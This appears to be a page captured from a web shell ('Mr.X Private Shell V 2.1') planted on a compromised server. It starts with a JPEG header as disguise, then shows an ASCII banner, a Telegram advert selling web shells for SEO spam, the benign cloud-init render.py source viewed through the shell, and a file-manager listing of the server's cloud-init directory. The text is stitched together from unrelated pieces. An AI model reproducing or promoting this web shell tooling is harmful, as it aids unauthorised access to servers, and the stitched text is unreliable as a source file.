����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/usr/bin/env python3
# This file is part of cloud-init. See LICENSE file for license information.
"""Debug jinja template rendering of user-data."""
import argparse
import logging
import os
import sys
from cloudinit.cmd.devel import read_cfg_paths
from cloudinit.handlers.jinja_template import (
JinjaLoadError,
JinjaSyntaxParsingException,
NotJinjaError,
render_jinja_payload_from_file,
)
NAME = "render"
CLOUDINIT_RUN_DIR = read_cfg_paths().run_dir
LOG = logging.getLogger(__name__)
def get_parser(parser=None):
"""Build or extend and arg parser for jinja render utility.
@param parser: Optional existing ArgumentParser instance representing the
subcommand which will be extended to support the args of this utility.
@returns: ArgumentParser with proper argument configuration.
"""
if not parser:
parser = argparse.ArgumentParser(prog=NAME, description=__doc__)
parser.add_argument(
"user_data", type=str, help="Path to the user-data file to render"
)
parser.add_argument(
"-i",
"--instance-data",
type=str,
help=(
"Optional path to instance-data.json file. "
f"Defaults to {CLOUDINIT_RUN_DIR}"
),
)
parser.add_argument(
"-d",
"--debug",
action="store_true",
default=False,
help="Add verbose messages during template render",
)
return parser
def render_template(user_data_path, instance_data_path=None, debug=False):
"""Render the provided user-data template file using instance-data values.
Also setup CLI log handlers to report to stderr since this is a development
utility which should be run by a human on the CLI.
@return 0 on success, 1 on failure.
"""
if instance_data_path:
instance_data_fn = instance_data_path
else:
paths = read_cfg_paths()
uid = os.getuid()
redacted_data_fn = paths.get_runpath("instance_data")
if uid == 0:
instance_data_fn = paths.get_runpath("instance_data_sensitive")
if not os.path.exists(instance_data_fn):
LOG.warning(
"Missing root-readable %s. Using redacted %s instead.",
instance_data_fn,
redacted_data_fn,
)
instance_data_fn = redacted_data_fn
else:
instance_data_fn = redacted_data_fn
if not os.path.exists(instance_data_fn):
LOG.error("Missing instance-data.json file: %s", instance_data_fn)
return 1
try:
with open(user_data_path) as stream:
user_data = stream.read()
except IOError:
LOG.error("Missing user-data file: %s", user_data_path)
return 1
try:
rendered_payload = render_jinja_payload_from_file(
payload=user_data,
payload_fn=user_data_path,
instance_data_file=instance_data_fn,
debug=True if debug else False,
)
except (JinjaLoadError, NotJinjaError) as e:
LOG.error(
"Cannot render from instance data due to exception: %s", repr(e)
)
return 1
except JinjaSyntaxParsingException as e:
LOG.error(
"Failed to render templated user-data file '%s'. %s",
user_data_path,
str(e),
)
return 1
if not rendered_payload:
LOG.error("Unable to render user-data file: %s", user_data_path)
return 1
sys.stdout.write(rendered_payload)
return 0
def handle_args(_name, args):
return render_template(args.user_data, args.instance_data, args.debug)
if __name__ == "__main__":
sys.exit(handle_args(NAME, get_parser().parse_args()))
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 899 B | 0644 |
|
| hotplug_hook.py | File | 10.86 KB | 0644 |
|
| logs.py | File | 13.87 KB | 0644 |
|
| make_mime.py | File | 4.09 KB | 0644 |
|
| net_convert.py | File | 5.57 KB | 0644 |
|
| parser.py | File | 1.35 KB | 0644 |
|
| render.py | File | 3.68 KB | 0644 |
|